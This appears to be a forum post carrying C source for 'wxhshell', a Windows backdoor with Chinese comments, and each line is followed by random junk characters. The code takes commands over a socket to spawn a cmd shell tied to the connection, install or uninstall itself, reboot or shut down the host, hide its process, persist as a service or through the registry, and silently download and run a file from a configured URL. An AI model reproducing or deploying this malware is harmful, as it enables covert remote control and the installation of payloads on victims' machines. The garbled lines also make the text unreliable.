  // 帮助 XM~~y~j  
  case '?': { jm3G?Vnq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pCU*@c!  
    break; I^3:YVR&  
  } nl1-kB)$e|  
  // 安装 61_f3S(u  
  case 'i': { Vq ^]s $'  
    if(Install()) !gP0ndRJ=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } /e`v6  
    else N4UM82N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9z ?7{2C  
    break; ;(6P6@+o  
    } *P2[qhP2  
  // 卸载 |n6Eg9  
  case 'r': { *'R#4@wmP  
    if(Uninstall()) A0xC,V~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kKrDLW+  
    else x#8w6@iPQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J]pa4C`  
    break; eThy+  
    } I@ \#up}  
  // 显示 wxhshell 所在路径 UQT'6* !  
  case 'p': { .q;ED`G  
    char svExeFile[MAX_PATH]; Hl7:*]l7b  
    strcpy(svExeFile,"\n\r"); 0ys~2Y!eH  
      strcat(svExeFile,ExeFile); :&VcB$  
        send(wsh,svExeFile,strlen(svExeFile),0); z4 M1D9iPY  
    break; Q M 1F?F  
    } +S~.c;EK  
  // 重启 {G*QY%j^  
  case 'b': { GsV4ZZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M{N(~ql  
    if(Boot(REBOOT)) 6Nh0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^V$Z6* ]  
    else { E9 Y\X  
    closesocket(wsh); HJhH-\{@  
    ExitThread(0); S>_27r{  
    } ;-@=  
    break; ;D2E_!N dt  
    } |4b)>8TL/  
  // 关机 I mym+  
  case 'd': { j9y3hQ+q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?IYY'fS"  
    if(Boot(SHUTDOWN)) $L}aQlA1JM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ITuyGmF  
    else { vRhnX  
    closesocket(wsh); |)U|:F/{@  
    ExitThread(0); ~OFvu}]  
    } G<qIY&D'  
    break; G?hK9@ |v  
    } h##WA=1QZ  
  // 获取shell U/w.M_S  
  case 's': { -{g~TUz  
    CmdShell(wsh); <GIwRVCU  
    closesocket(wsh); raB+,Oi$G  
    ExitThread(0); 0[a}n6X Tk  
    break; cFZCf8:zB  
  } %3=J*wj>D  
  // 退出 NHaMo*xQ  
  case 'x': { K"{HseN{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RKkGITDk  
    CloseIt(wsh); >PalH24]  
    break; :FQ1[X1 xm  
    } pY}/j;.[  
  // 离开 U;^[$Aq  
  case 'q': { V1bh|+o9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |V&G81sM  
    closesocket(wsh); 1dG06<!  
    WSACleanup(); Z<z;L<tJ 9  
    exit(1); VOgi7\  
    break; OtUr GQP  
        } (M t5P  
  } w:ULi3  
  } 1B:aC|B  
O!R"v'  
  // 提示信息 w2"]Pl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); --k:a$Nt  
} `T WN^0!]  
  } <' m6^]:  
clDHTj=~  
  return; :nGMtF  
} \e:d)^cbh  
;j} yB  
// shell模块句柄 a/:XXy |  
int CmdShell(SOCKET sock) ;e s^R?z  
{ pR$6,Vi  
STARTUPINFO si; "S!3m9_#  
ZeroMemory(&si,sizeof(si)); >SI<rR[~%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xHkxc}h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :pC;`iQ  
PROCESS_INFORMATION ProcessInfo; 'Cg{_z.~c  
char cmdline[]="cmd"; lF4u{B9DM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  i g71/'D  
  return 0; X>l*v\F9  
} G*n2Ii  
j$@tK0P  
// 自身启动模式 `rFAZcEj%  
int StartFromService(void) mP}#Ccji?  
{ Np,2j KF(  
typedef struct =,/D/v$m'2  
{ #$1$T  
  DWORD ExitStatus; 4E3g,%9u  
  DWORD PebBaseAddress; ecHP &Z$  
  DWORD AffinityMask; W)=%mdxW0  
  DWORD BasePriority; Fvl`2W94;  
  ULONG UniqueProcessId; h%}( h2 W  
  ULONG InheritedFromUniqueProcessId; <[Oo*:A!7  
}   PROCESS_BASIC_INFORMATION; z;3NiY  
] |Zb\{  
PROCNTQSIP NtQueryInformationProcess; 9O98Q6-s  
<@#PF$!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w G!u+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b-<HXn_Fd  
W{Q)-y  
  HANDLE             hProcess; pj{\T?(  
  PROCESS_BASIC_INFORMATION pbi; @u9Mks|{  
]H[8Z|i""  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /9hR  
  if(NULL == hInst ) return 0; k onoI&kV|  
Vz:_mKA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P:!)9/.2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C7qYiSv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S*t%RZ~a  
CEtR[Cu  
  if (!NtQueryInformationProcess) return 0; 0D [@u3W  
By((,QpB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b:MG@Hxc  
  if(!hProcess) return 0; *|RS*ABte  
:`W|h E^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [xaisXvI4  
L\  j:  
  CloseHandle(hProcess); wGLF%;rRe4  
f(Hu {c5yV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +=fKT,-*G!  
if(hProcess==NULL) return 0; i/qTFQst _  
tYe:z:7l?<  
HMODULE hMod; !]b@RUU  
char procName[255]; L* |1/  
unsigned long cbNeeded; NPJ.+ph  
(6qsKX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f&I7,"v  
@.$MzPQQI  
  CloseHandle(hProcess); Y;Y 1+jt  
TSto9 $}*  
if(strstr(procName,"services")) return 1; // 以服务启动 .[j%sGdKl  
;VzMU ;j  
  return 0; // 注册表启动 +Ui_ O  
} |nxdB&1n  
|4>:M\h  
// 主模块 Mq\~`8V  
int StartWxhshell(LPSTR lpCmdLine) '044Vm;/  
{ optBA3@e!  
  SOCKET wsl; z +VV}:Q  
BOOL val=TRUE; G[yI*/E;  
  int port=0; p@I9< ^"  
  struct sockaddr_in door; h)dRR_  
P_Uutn~  
  if(wscfg.ws_autoins) Install(); U{#xW  
iuAq.$oi{  
port=atoi(lpCmdLine); \{v,6JC  
; B$ *)X9  
if(port<=0) port=wscfg.ws_port; L.)yXuo4  
>)c9|e=8  
  WSADATA data; :5# V^\3*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >BoSw&T$Q  
ecFi (eMD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \< 65??P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H5M#q6`H6  
  door.sin_family = AF_INET; 3H8Al  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )%j"  
  door.sin_port = htons(port); `XMM1y>V9>  
pj|X]4?wdI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ;}4k{{K  
closesocket(wsl); b! tludb  
return 1; pXW`+<g0  
} 8(lCi$  
Lb~\Y n'z  
  if(listen(wsl,2) == INVALID_SOCKET) { V SAafux  
closesocket(wsl); +/N1_  
return 1; r+\/G{+=}  
} 04JT@s"o  
  Wxhshell(wsl); #7W.s!#}Dd  
  WSACleanup(); 2d&^Sp&11  
}$aNOf%:  
return 0; ;`jU_  
p24.bLr  
} r{ @ `o@q  
(%DRt4u <H  
// 以NT服务方式启动 U[fSQ`&D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O),I[kb  
{ _*`q(dYcf  
DWORD   status = 0; >q9{  
  DWORD   specificError = 0xfffffff; W_JhNe  
O/9fuEF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FfYsSq2l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +by|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *l!5QG UoK  
  serviceStatus.dwWin32ExitCode     = 0; 8=4^Lm  
  serviceStatus.dwServiceSpecificExitCode = 0; yq6LH   
  serviceStatus.dwCheckPoint       = 0; ETelbj;0  
  serviceStatus.dwWaitHint       = 0; Oz>io\P94  
^!uO(B&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9dYOH)f  
  if (hServiceStatusHandle==0) return; 3B#!2|  
Au=kSSB  
status = GetLastError(); yJJ8 "s~i  
  if (status!=NO_ERROR) X_?%A54z?  
{ A-0m8<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SLh~_ 5  
    serviceStatus.dwCheckPoint       = 0; z7q%,yw3N  
    serviceStatus.dwWaitHint       = 0; (xUFl@I!  
    serviceStatus.dwWin32ExitCode     = status; SALCuo"L  
    serviceStatus.dwServiceSpecificExitCode = specificError; { _X#fq0}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vnZ/tF  
    return; (`mOB6j  
  } Pz {Ig  
7'UWRRsxUF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |"\lL9CT  
  serviceStatus.dwCheckPoint       = 0; %kW3hQ<$  
  serviceStatus.dwWaitHint       = 0; qKs7WBRJy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FB!z#Eim  
} va+m9R0  
 >fwlg-  
// 处理NT服务事件,比如:启动、停止 /cY[at|p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G>j "cj  
{ +V89J!7  
switch(fdwControl) S41)l!+2  
{ g TD%4V  
case SERVICE_CONTROL_STOP: STRyW Ml  
  serviceStatus.dwWin32ExitCode = 0; ZjavD^ky  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Esa6hU#  
  serviceStatus.dwCheckPoint   = 0; [Ekgft&  
  serviceStatus.dwWaitHint     = 0; 5j1 IH,yW  
  {  p1?J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + 1f{_v  
  } f>4+,@G   
  return; ds')PIj  
case SERVICE_CONTROL_PAUSE: b)y<.pS\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {4)5]62>u  
  break; :z124Zf  
case SERVICE_CONTROL_CONTINUE: WiwwCKjSa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vT}pbOTh  
  break; NIL^UN}  
case SERVICE_CONTROL_INTERROGATE: 10TSc j  
  break; bY&YSlO  
}; 'F6#l"~/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v6(,Ax&  
} ^EUQ449<p  
$"(3MnR  
// 标准应用程序主函数 /gF]s_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BDnBBbBrz  
{ EyPy*_A  
5?)}F/x  
// 获取操作系统版本 -KA4Inn]5  
OsIsNt=GetOsVer(); +@^47Xu^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 14;Av{Xt  
<WgG=Kf)N  
  // 从命令行安装 6yi/&#YM  
  if(strpbrk(lpCmdLine,"iI")) Install(); :e52hK1[T  
-ca]Q|m8  
  // 下载执行文件 Wd1 IX^7C%  
if(wscfg.ws_downexe) { tUn&z?7bF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5 u"nxT   
  WinExec(wscfg.ws_filenam,SW_HIDE); v.]'%+::#  
} 739l%u }<  
8Q)y%7 {6  
if(!OsIsNt) { BD?F`%-x  
// 如果时win9x,隐藏进程并且设置为注册表启动 B##C{^5A`  
HideProc(); RNl\`>Cz  
StartWxhshell(lpCmdLine); =7H.F:BBG  
} 64;oB_  
else  S/)  
  if(StartFromService()) Ho:}Bn g  
  // 以服务方式启动 }.w#X   
  StartServiceCtrlDispatcher(DispatchTable); >n#g9vK  
else VQ/ <09e  
  // 普通方式启动 *%z<P~}  
  StartWxhshell(lpCmdLine); 2>`m<&y  
^glbxbhI4  
return 0; 1h& )I%`?  
}
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只看该作者 1 发表于: 2006-10-10
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